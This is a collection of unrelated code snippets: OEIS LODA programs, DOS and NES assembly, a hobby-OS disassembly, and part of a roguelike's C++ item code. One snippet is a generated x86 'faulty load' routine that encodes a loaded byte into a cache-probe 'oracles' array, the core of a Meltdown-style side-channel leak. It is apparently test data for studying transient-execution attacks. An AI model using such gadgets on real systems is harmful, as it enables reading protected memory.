; 0,30,114,252,444,690,990,1344,1752,2214,2730,3300,3924,4602,5334,6120,6960,7854,8802,9804,10860,11970,13134,14352,15624,16950,18330,19764,21252,22794,24390,26040,27744,29502,31314,33180,35100,37074,39102,41184,43320,45510,47754,50052,52404,54810,57270,59784,62352,64974,67650,70380,73164,76002,78894,81840,84840,87894,91002,94164,97380,100650,103974,107352,110784,114270,117810,121404,125052,128754,132510,136320,140184,144102,148074,152100,156180,160314,164502,168744,173040,177390,181794,186252,190764,195330,199950,204624,209352,214134,218970,223860,228804,233802,238854,243960,249120,254334,259602,264924
mul $0,-9
bin $0,2
div $0,9
mul $0,6
|
; A267868: Triangle read by rows giving successive states of cellular automaton generated by "Rule 233" initiated with a single ON (black) cell.
; 1,0,0,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
mov $5,$0
lpb $5,1
add $6,$5
sub $5,1
lpe
add $$0,$$5
lpb $6,1
sub $6,1
add $7,3
lpe
add $2,$$0
add $$0,6
lpb $0,1
sub $0,1
lpe
add $$3,6
mov $1,1
add $1,1
add $$3,$0
sub $1,1
add $3,$$0
trn $$4,$$2
trn $$1,$$4
trn $$1,$3
|
.MODEL SMALL
.STACK 100H
.DATA
MSG1 DB 'AL value: $'
MSG2 DB 0DH,0AH,'New AL value: $'
.CODE
MAIN PROC
MOV AX, @DATA
MOV DS, AX
LEA DX, MSG1
MOV AH, 9
INT 21H
MOV AL, 32H
MOV BL, AL
MOV AH, 2
MOV DL, AL
INT 21H
LEA DX, MSG2
MOV AH, 9
INT 21H
AND BL, 0FH
MOV CL, 2
SHL BL, CL
OR BL, 30H
MOV AH, 2
MOV DL, BL
INT 21H
MOV AH, 4CH
INT 21H
MAIN ENDP
END MAIN |
; Disassembly of file: app.o
; Sat Jan 6 11:58:39 2018
; Mode: 32 bits
; Syntax: YASM/NASM
; Instruction set: 80386
global rand: function
global main: function
global ran
extern api_closewin ; near
extern api_getkey ; near
extern api_refreshwin ; near
extern api_linewin ; near
extern api_boxfilwin ; near
extern api_openwin ; near
extern api_putchar ; near
extern api_fread ; near
extern api_fseek ; near
extern api_fopen ; near
SECTION .text align=1 execute ; section number 1, code
rand: ; Function begin
push ebp ; 0000 _ 55
mov ebp, esp ; 0001 _ 89. E5
mov eax, dword [ran] ; 0003 _ A1, 00000000(d)
imul eax, eax, 214013 ; 0008 _ 69. C0, 000343FD
add eax, 2531011 ; 000E _ 05, 00269EC3
mov dword [ran], eax ; 0013 _ A3, 00000000(d)
mov eax, dword [ran] ; 0018 _ A1, 00000000(d)
sar eax, 16 ; 001D _ C1. F8, 10
and eax, 7FFFH ; 0020 _ 25, 00007FFF
pop ebp ; 0025 _ 5D
ret ; 0026 _ C3
; rand End of function
main: ; Function begin
lea ecx, [esp+4H] ; 0027 _ 8D. 4C 24, 04
and esp, 0FFFFFFF0H ; 002B _ 83. E4, F0
push dword [ecx-4H] ; 002E _ FF. 71, FC
push ebp ; 0031 _ 55
mov ebp, esp ; 0032 _ 89. E5
push ecx ; 0034 _ 51
sub esp, 16036 ; 0035 _ 81. EC, 00003EA4
sub esp, 12 ; 003B _ 83. EC, 0C
push ?_008 ; 003E _ 68, 00000000(d)
call api_fopen ; 0043 _ E8, FFFFFFFC(rel)
add esp, 16 ; 0048 _ 83. C4, 10
mov dword [ebp-14H], eax ; 004B _ 89. 45, EC
mov dword [ebp-0CH], 0 ; 004E _ C7. 45, F4, 00000000
sub esp, 4 ; 0055 _ 83. EC, 04
push 0 ; 0058 _ 6A, 00
push 5 ; 005A _ 6A, 05
push dword [ebp-14H] ; 005C _ FF. 75, EC
call api_fseek ; 005F _ E8, FFFFFFFC(rel)
add esp, 16 ; 0064 _ 83. C4, 10
cmp dword [ebp-14H], 0 ; 0067 _ 83. 7D, EC, 00
jz ?_004 ; 006B _ 74, 40
mov dword [ebp-0CH], 0 ; 006D _ C7. 45, F4, 00000000
jmp ?_003 ; 0074 _ EB, 31
?_001: sub esp, 4 ; 0076 _ 83. EC, 04
push dword [ebp-14H] ; 0079 _ FF. 75, EC
push 1 ; 007C _ 6A, 01
lea eax, [ebp-1AH] ; 007E _ 8D. 45, E6
push eax ; 0081 _ 50
call api_fread ; 0082 _ E8, FFFFFFFC(rel)
add esp, 16 ; 0087 _ 83. C4, 10
test eax, eax ; 008A _ 85. C0
jnz ?_002 ; 008C _ 75, 02
jmp ?_004 ; 008E _ EB, 1D
?_002: movzx eax, byte [ebp-1AH] ; 0090 _ 0F B6. 45, E6
movsx eax, al ; 0094 _ 0F BE. C0
sub esp, 12 ; 0097 _ 83. EC, 0C
push eax ; 009A _ 50
call api_putchar ; 009B _ E8, FFFFFFFC(rel)
add esp, 16 ; 00A0 _ 83. C4, 10
add dword [ebp-0CH], 1 ; 00A3 _ 83. 45, F4, 01
?_003: cmp dword [ebp-0CH], 9 ; 00A7 _ 83. 7D, F4, 09
jle ?_001 ; 00AB _ 7E, C9
?_004: sub esp, 12 ; 00AD _ 83. EC, 0C
push ?_009 ; 00B0 _ 68, 00000008(d)
push -1 ; 00B5 _ 6A, FF
push 100 ; 00B7 _ 6A, 64
push 150 ; 00B9 _ 68, 00000096
lea eax, [ebp-3E9AH] ; 00BE _ 8D. 85, FFFFC166
push eax ; 00C4 _ 50
call api_openwin ; 00C5 _ E8, FFFFFFFC(rel)
add esp, 32 ; 00CA _ 83. C4, 20
mov dword [ebp-18H], eax ; 00CD _ 89. 45, E8
sub esp, 8 ; 00D0 _ 83. EC, 08
push 0 ; 00D3 _ 6A, 00
push 93 ; 00D5 _ 6A, 5D
push 143 ; 00D7 _ 68, 0000008F
push 26 ; 00DC _ 6A, 1A
push 6 ; 00DE _ 6A, 06
push dword [ebp-18H] ; 00E0 _ FF. 75, E8
call api_boxfilwin ; 00E3 _ E8, FFFFFFFC(rel)
add esp, 32 ; 00E8 _ 83. C4, 20
mov dword [ebp-10H], 0 ; 00EB _ C7. 45, F0, 00000000
mov dword [ebp-10H], 0 ; 00F2 _ C7. 45, F0, 00000000
jmp ?_006 ; 00F9 _ EB, 4C
?_005: mov edx, dword [ebp-10H] ; 00FB _ 8B. 55, F0
mov eax, edx ; 00FE _ 89. D0
shl eax, 3 ; 0100 _ C1. E0, 03
add eax, edx ; 0103 _ 01. D0
add eax, 26 ; 0105 _ 83. C0, 1A
sub esp, 8 ; 0108 _ 83. EC, 08
push 4 ; 010B _ 6A, 04
push eax ; 010D _ 50
push 77 ; 010E _ 6A, 4D
push 26 ; 0110 _ 6A, 1A
push 8 ; 0112 _ 6A, 08
push dword [ebp-18H] ; 0114 _ FF. 75, E8
call api_linewin ; 0117 _ E8, FFFFFFFC(rel)
add esp, 32 ; 011C _ 83. C4, 20
mov edx, dword [ebp-10H] ; 011F _ 8B. 55, F0
mov eax, edx ; 0122 _ 89. D0
shl eax, 3 ; 0124 _ C1. E0, 03
add eax, edx ; 0127 _ 01. D0
add eax, 88 ; 0129 _ 83. C0, 58
sub esp, 8 ; 012C _ 83. EC, 08
push 4 ; 012F _ 6A, 04
push 89 ; 0131 _ 6A, 59
push eax ; 0133 _ 50
push 26 ; 0134 _ 6A, 1A
push 88 ; 0136 _ 6A, 58
push dword [ebp-18H] ; 0138 _ FF. 75, E8
call api_linewin ; 013B _ E8, FFFFFFFC(rel)
add esp, 32 ; 0140 _ 83. C4, 20
add dword [ebp-10H], 1 ; 0143 _ 83. 45, F0, 01
?_006: cmp dword [ebp-10H], 7 ; 0147 _ 83. 7D, F0, 07
jle ?_005 ; 014B _ 7E, AE
sub esp, 12 ; 014D _ 83. EC, 0C
push 90 ; 0150 _ 6A, 5A
push 154 ; 0152 _ 68, 0000009A
push 26 ; 0157 _ 6A, 1A
push 6 ; 0159 _ 6A, 06
push dword [ebp-18H] ; 015B _ FF. 75, E8
call api_refreshwin ; 015E _ E8, FFFFFFFC(rel)
add esp, 32 ; 0163 _ 83. C4, 20
nop ; 0166 _ 90
?_007: sub esp, 12 ; 0167 _ 83. EC, 0C
push 1 ; 016A _ 6A, 01
call api_getkey ; 016C _ E8, FFFFFFFC(rel)
add esp, 16 ; 0171 _ 83. C4, 10
cmp eax, 28 ; 0174 _ 83. F8, 1C
jnz ?_007 ; 0177 _ 75, EE
sub esp, 12 ; 0179 _ 83. EC, 0C
push dword [ebp-18H] ; 017C _ FF. 75, E8
call api_closewin ; 017F _ E8, FFFFFFFC(rel)
add esp, 16 ; 0184 _ 83. C4, 10
nop ; 0187 _ 90
mov ecx, dword [ebp-4H] ; 0188 _ 8B. 4D, FC
leave ; 018B _ C9
lea esp, [ecx-4H] ; 018C _ 8D. 61, FC
ret ; 018F _ C3
; main End of function
SECTION .data align=4 noexecute ; section number 2, data
ran: ; dword
dd 00000017H ; 0000 _ 23
SECTION .bss align=1 noexecute ; section number 3, bss
SECTION .rodata align=1 noexecute ; section number 4, const
?_008: ; byte
db 69H, 6AH, 6BH, 2EH, 74H, 78H, 74H, 00H ; 0000 _ ijk.txt.
?_009: ; byte
db 73H, 74H, 61H, 72H, 00H ; 0008 _ star.
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x9010, %r14
clflush (%r14)
cmp %rax, %rax
mov (%r14), %rcx
nop
nop
nop
nop
add $60106, %rbx
lea addresses_A_ht+0x8aa0, %rsi
lea addresses_D_ht+0x1b002, %rdi
nop
nop
nop
nop
sub $43255, %r15
mov $95, %rcx
rep movsl
nop
nop
add %rsi, %rsi
lea addresses_UC_ht+0x1bf40, %rbx
nop
nop
inc %rax
mov $0x6162636465666768, %rsi
movq %rsi, %xmm4
and $0xffffffffffffffc0, %rbx
movntdq %xmm4, (%rbx)
and $32073, %r14
lea addresses_normal_ht+0x72e0, %rsi
clflush (%rsi)
xor $36883, %rax
movl $0x61626364, (%rsi)
nop
and $46995, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r9
push %rbx
push %rdx
push %rsi
// Faulty Load
lea addresses_UC+0x13e0, %r9
nop
xor $39335, %r12
mov (%r9), %esi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rbx
pop %r9
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 1, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': True, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_normal_ht'}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
[bits 32]
jmp 5:4
jmp far equval
equval equ 6:7
[bits 16]
jmp 8:9
|
; A315642: Coordination sequence Gal.6.332.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,6,12,16,21,27,33,39,44,48,54,60,66,72,76,81,87,93,99,104,108,114,120,126,132,136,141,147,153,159,164,168,174,180,186,192,196,201,207,213,219,224,228,234,240,246,252,256,261,267
mov $2,$0
add $2,1
mov $8,$0
lpb $2
mov $0,$8
sub $2,1
sub $0,$2
mov $4,$0
mov $6,2
lpb $6
mov $0,$4
sub $6,1
add $0,$6
sub $0,1
mul $0,2
cal $0,313718 ; Coordination sequence Gal.6.133.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
add $0,4
mov $3,$0
mov $7,$6
lpb $7
mov $5,$3
sub $7,1
lpe
lpe
lpb $4
mov $4,0
sub $5,$3
lpe
mov $3,$5
sub $3,4
add $1,$3
lpe
|
.segment "CODE"
; this is like a x = y call where x is set to the value of y
.macro set set_var, from
lda from
sta set_var
.endmacro
; this procedure will loop until the next vblank
.proc wait_for_vblank
bit PPU_STATUS ; $2002
vblank_wait:
bit PPU_STATUS ; $2002
bpl vblank_wait
rts
.endproc
; clear out all the ram on the reset press
.macro clear_ram
lda #0
ldx #0
clear_ram_loop:
sta $0000, X
sta $0100, X
sta $0200, X
sta $0300, X
sta $0400, X
sta $0500, X
sta $0600, X
sta $0700, X
inx
bne clear_ram_loop
.endmacro
; this code will be called from the nmi
.macro printf_nmi STRING, XPOS, YPOS ; 32, 128
.local ROW
.local COL
.local BYTE_OFFSET_HI
.local BYTE_OFFSET_LO
ROW = YPOS / 8 ; 128 / 8 = 16
COL = XPOS / 8 ; 32 / 8 = 4
BYTE_OFFSET_HI = (ROW * 32 + COL) / 256 + 32 ; (16 * 32 + 4) / 256 + 20
BYTE_OFFSET_LO = (ROW * 32 + COL) .mod 256
lda PPU_STATUS ; PPU_STATUS = $2002
lda #BYTE_OFFSET_HI
sta PPU_ADDR ; PPU_ADDR = $2006
lda #BYTE_OFFSET_LO
sta PPU_ADDR ; PPU_ADDR = $2006
.repeat .strlen(STRING), I
lda #.strat(STRING, I)
sta PPU_DATA
.endrep
.endmacro
; this macro lets you jump a longer distance than a branch would
.macro jmp_eq jump_to_label
.local @skip_jump
bne @skip_jump
jmp jump_to_label
@skip_jump:
.endmacro
.segment "ZEROPAGE"
var_1_to_4: .res 1
.segment "CODE"
.proc one_thru_four
inc var_1_to_4
lda var_1_to_4
and #%00000011
sta var_1_to_4
rts
.endproc
|
/**
* @file
* @brief Misc (mostly) inventory related functions.
**/
#include "AppHdr.h"
#include "items.h"
#include <algorithm>
#include <cctype>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <functional> // mem_fn
#include <limits>
#include "adjust.h"
#include "areas.h"
#include "arena.h"
#include "artefact.h"
#include "art-enum.h"
#include "beam.h"
#include "bitary.h"
#include "cio.h"
#include "clua.h"
#include "colour.h"
#include "coord.h"
#include "coordit.h"
#include "corpse.h"
#include "dbg-util.h"
#include "defines.h"
#include "delay.h"
#include "describe.h"
#include "dgn-event.h"
#include "directn.h"
#include "dungeon.h"
#include "english.h"
#include "env.h"
#include "god-passive.h"
#include "god-prayer.h"
#include "hints.h"
#include "hints.h"
#include "hiscores.h"
#include "invent.h"
#include "item-name.h"
#include "item-prop.h"
#include "item-status-flag-type.h"
#include "item-use.h"
#include "libutil.h"
#include "macro.h"
#include "makeitem.h"
#include "message.h"
#include "nearby-danger.h"
#include "notes.h"
#include "options.h"
#include "orb.h"
#include "output.h"
#include "place.h"
#include "player-equip.h"
#include "player.h"
#include "prompt.h"
#include "quiver.h"
#include "randbook.h"
#include "religion.h"
#include "shopping.h"
#include "showsymb.h"
#include "slot-select-mode.h"
#include "sound.h"
#include "spl-book.h"
#include "spl-util.h"
#include "stash.h"
#include "state.h"
#include "state.h"
#include "stringutil.h"
#include "terrain.h"
#include "throw.h"
#include "tilepick.h"
#include "timed-effects.h" // bezotted
#include "travel.h"
#include "viewchar.h"
#include "view.h"
#include "xom.h"
/**
* Return an item's location (floor or inventory) and the corresponding mitm
* int or inv slot referring to it.
*
* @param item_def An item in either mitm (the floor or monster inventory)
* or you.inv.
*
* @return A pair containing bool and int. The bool is true for items in
* inventory, false for others. The int is the item's index in either
* you.inv or mitm.
*/
pair<bool, int> item_int(item_def &item)
{
if (in_inventory(item))
return make_pair(true, item.link);
return make_pair(false, item.index());
}
/**
* Return an item_def& requested by an item's inv slot or mitm index.
*
* @param inv Is the item in inventory?
* @param number The index of the item, either in you.inv (if inv == true)
* or in mitm (if inv == false).
*
* @return The item.
*/
item_def& item_from_int(bool inv, int number)
{
return inv ? you.inv[number] : mitm[number];
}
static int _autopickup_subtype(const item_def &item);
static void _autoinscribe_item(item_def& item);
static void _autoinscribe_floor_items();
static void _autoinscribe_inventory();
static void _multidrop(vector<SelItem> tmp_items);
static bool _merge_items_into_inv(item_def &it, int quant_got,
int &inv_slot, bool quiet);
static bool will_autopickup = false;
static bool will_autoinscribe = false;
static inline string _autopickup_item_name(const item_def &item)
{
return userdef_annotate_item(STASH_LUA_SEARCH_ANNOTATE, &item)
+ item_prefix(item, false) + " " + item.name(DESC_PLAIN);
}
// Used to be called "unlink_items", but all it really does is make
// sure item coordinates are correct to the stack they're in. -- bwr
void fix_item_coordinates()
{
// Nails all items to the ground (i.e. sets x,y).
for (int x = 0; x < GXM; x++)
for (int y = 0; y < GYM; y++)
{
int i = igrd[x][y];
while (i != NON_ITEM)
{
mitm[i].pos.x = x;
mitm[i].pos.y = y;
i = mitm[i].link;
}
}
}
// This function uses the items coordinates to relink all the igrd lists.
void link_items()
{
// First, initialise igrd array.
igrd.init(NON_ITEM);
// Link all items on the grid, plus shop inventory,
// but DON'T link the huge pile of monster items at (-2,-2).
for (int i = 0; i < MAX_ITEMS; i++)
{
// Don't mess with monster held items, since the index of the holding
// monster is stored in the link field.
if (mitm[i].held_by_monster())
continue;
if (!mitm[i].defined())
{
// Item is not assigned. Ignore.
mitm[i].link = NON_ITEM;
continue;
}
bool move_below = item_is_stationary(mitm[i])
&& !item_is_stationary_net(mitm[i]);
int movable_ind = -1;
// Stationary item, find index at location
if (move_below)
{
for (stack_iterator si(mitm[i].pos); si; ++si)
{
if (!item_is_stationary(*si) || item_is_stationary_net(*si))
movable_ind = si->index();
}
}
// Link to top
if (!move_below || movable_ind == -1)
{
mitm[i].link = igrd(mitm[i].pos);
igrd(mitm[i].pos) = i;
}
// Link below movable items.
else
{
mitm[i].link = mitm[movable_ind].link;
mitm[movable_ind].link = i;
}
}
}
static bool _item_ok_to_clean(int item)
{
// Never clean food, zigfigs, Orbs, or runes.
if (mitm[item].base_type == OBJ_MISCELLANY
&& mitm[item].sub_type == MISC_ZIGGURAT
|| item_is_orb(mitm[item])
|| mitm[item].base_type == OBJ_RUNES)
{
return false;
}
return true;
}
static bool _item_preferred_to_clean(int item)
{
// Preferably clean "normal" weapons and ammo
if (mitm[item].base_type == OBJ_WEAPONS
&& mitm[item].plus <= 0
&& !is_artefact(mitm[item]))
{
return true;
}
if (mitm[item].base_type == OBJ_MISSILES
&& mitm[item].plus <= 0 && !mitm[item].net_placed // XXX: plus...?
&& !is_artefact(mitm[item]))
{
return true;
}
return false;
}
// Returns index number of first available space, or NON_ITEM for
// unsuccessful cleanup (should be exceedingly rare!)
static int _cull_items()
{
crawl_state.cancel_cmd_repeat();
// XXX: Not the prettiest of messages, but the player
// deserves to know whenever this kicks in. -- bwr
mprf(MSGCH_WARN, "Too many items on level, removing some.");
// Rules:
// 1. Don't cleanup anything nearby the player
// 2. Don't cleanup shops
// 3. Don't cleanup monster inventory
// 4. Clean 15% of items
// 5. never remove food, orbs, runes
// 7. uniques weapons are moved to the abyss
// 8. randarts are simply lost
// 9. unrandarts are 'destroyed', but may be generated again
// 10. Remove +0 weapons and ammo first, only removing others if this fails.
int first_cleaned = NON_ITEM;
// 2. Avoid shops by avoiding (0,5..9).
// 3. Avoid monster inventory by iterating over the dungeon grid.
// 10. Remove +0 weapons and ammo first, only removing others if this fails.
// Loop twice. First iteration, get rid of uninteresting stuff. Second
// iteration, get rid of anything non-essential
for (int remove_all=0; remove_all<2 && first_cleaned==NON_ITEM; remove_all++)
{
for (rectangle_iterator ri(1); ri; ++ri)
{
if (grid_distance(you.pos(), *ri) <= 8)
continue;
for (stack_iterator si(*ri); si; ++si)
{
if (_item_ok_to_clean(si->index())
&& (remove_all || _item_preferred_to_clean(si->index()))
&& x_chance_in_y(15, 100))
{
if (is_unrandom_artefact(*si))
{
// 7. Move uniques to abyss.
set_unique_item_status(*si, UNIQ_LOST_IN_ABYSS);
}
if (first_cleaned == NON_ITEM)
first_cleaned = si->index();
// POOF!
destroy_item(si->index());
}
}
}
}
return first_cleaned;
}
/*---------------------------------------------------------------------*/
stack_iterator::stack_iterator(const coord_def& pos, bool accessible)
{
cur_link = accessible ? you.visible_igrd(pos) : igrd(pos);
if (cur_link != NON_ITEM)
next_link = mitm[cur_link].link;
else
next_link = NON_ITEM;
}
stack_iterator::stack_iterator(int start_link)
{
cur_link = start_link;
if (cur_link != NON_ITEM)
next_link = mitm[cur_link].link;
else
next_link = NON_ITEM;
}
stack_iterator::operator bool() const
{
return cur_link != NON_ITEM;
}
item_def& stack_iterator::operator*() const
{
ASSERT(cur_link != NON_ITEM);
return mitm[cur_link];
}
item_def* stack_iterator::operator->() const
{
ASSERT(cur_link != NON_ITEM);
return &mitm[cur_link];
}
int stack_iterator::index() const
{
return cur_link;
}
const stack_iterator& stack_iterator::operator ++ ()
{
cur_link = next_link;
if (cur_link != NON_ITEM)
next_link = mitm[cur_link].link;
return *this;
}
stack_iterator stack_iterator::operator++(int)
{
const stack_iterator copy = *this;
++(*this);
return copy;
}
mon_inv_iterator::mon_inv_iterator(monster& _mon)
: mon(_mon)
{
type = static_cast<mon_inv_type>(0);
if (mon.inv[type] == NON_ITEM)
++*this;
}
mon_inv_iterator::operator bool() const
{
return type < NUM_MONSTER_SLOTS;
}
item_def& mon_inv_iterator::operator*() const
{
ASSERT(mon.inv[type] != NON_ITEM);
return mitm[mon.inv[type]];
}
item_def* mon_inv_iterator::operator->() const
{
ASSERT(mon.inv[type] != NON_ITEM);
return &mitm[mon.inv[type]];
}
mon_inv_iterator& mon_inv_iterator::operator ++ ()
{
do
{
type = static_cast<mon_inv_type>(type + 1);
}
while (*this && mon.inv[type] == NON_ITEM);
return *this;
}
mon_inv_iterator mon_inv_iterator::operator++(int)
{
const mon_inv_iterator copy = *this;
++(*this);
return copy;
}
/**
* Reduce quantity of an inventory item, do cleanup if item goes away.
* @return True if stack of items no longer exists, false otherwise.
*/
bool dec_inv_item_quantity(int obj, int amount)
{
bool ret = false;
if (you.equip[EQ_WEAPON] == obj)
you.wield_change = true;
you.m_quiver.on_inv_quantity_changed(obj, amount);
if (you.inv[obj].quantity <= amount)
{
for (int i = EQ_FIRST_EQUIP; i < NUM_EQUIP; i++)
{
if (you.equip[i] == obj)
{
if (i == EQ_WEAPON)
{
unwield_item();
canned_msg(MSG_EMPTY_HANDED_NOW);
}
you.equip[i] = -1;
}
}
item_skills(you.inv[obj], you.stop_train);
you.inv[obj].base_type = OBJ_UNASSIGNED;
you.inv[obj].quantity = 0;
you.inv[obj].props.clear();
ret = true;
// If we're repeating a command, the repetitions used up the
// item stack being repeated on, so stop rather than move onto
// the next stack.
crawl_state.cancel_cmd_repeat();
crawl_state.cancel_cmd_again();
}
else
you.inv[obj].quantity -= amount;
return ret;
}
// Reduce quantity of a monster/grid item, do cleanup if item goes away.
//
// Returns true if stack of items no longer exists.
bool dec_mitm_item_quantity(int obj, int amount)
{
item_def &item = mitm[obj];
if (amount > item.quantity)
amount = item.quantity; // can't use min due to type mismatch
if (item.quantity == amount)
{
destroy_item(obj);
// If we're repeating a command, the repetitions used up the
// item stack being repeated on, so stop rather than move onto
// the next stack.
crawl_state.cancel_cmd_repeat();
crawl_state.cancel_cmd_again();
return true;
}
item.quantity -= amount;
return false;
}
void inc_inv_item_quantity(int obj, int amount)
{
if (you.equip[EQ_WEAPON] == obj)
you.wield_change = true;
you.m_quiver.on_inv_quantity_changed(obj, amount);
you.inv[obj].quantity += amount;
}
void inc_mitm_item_quantity(int obj, int amount)
{
mitm[obj].quantity += amount;
}
void init_item(int item)
{
if (item == NON_ITEM)
return;
mitm[item].clear();
}
// Returns an unused mitm slot, or NON_ITEM if none available.
// The reserve is the number of item slots to not check.
// Items may be culled if a reserve <= 10 is specified.
int get_mitm_slot(int reserve)
{
ASSERT(reserve >= 0);
if (crawl_state.game_is_arena())
reserve = 0;
int item = NON_ITEM;
for (item = 0; item < (MAX_ITEMS - reserve); item++)
if (!mitm[item].defined())
break;
if (item >= MAX_ITEMS - reserve)
{
if (crawl_state.game_is_arena())
{
item = arena_cull_items();
// If arena_cull_items() can't free up any space then
// _cull_items() won't be able to either, so give up.
if (item == NON_ITEM)
return NON_ITEM;
}
else
item = (reserve <= 10) ? _cull_items() : NON_ITEM;
if (item == NON_ITEM)
return NON_ITEM;
}
ASSERT(item != NON_ITEM);
init_item(item);
return item;
}
void unlink_item(int dest)
{
// Don't destroy non-items, may be called after an item has been
// reduced to zero quantity however.
if (dest == NON_ITEM || !mitm[dest].defined())
return;
monster* mons = mitm[dest].holding_monster();
if (mons != nullptr)
{
for (mon_inv_iterator ii(*mons); ii; ++ii)
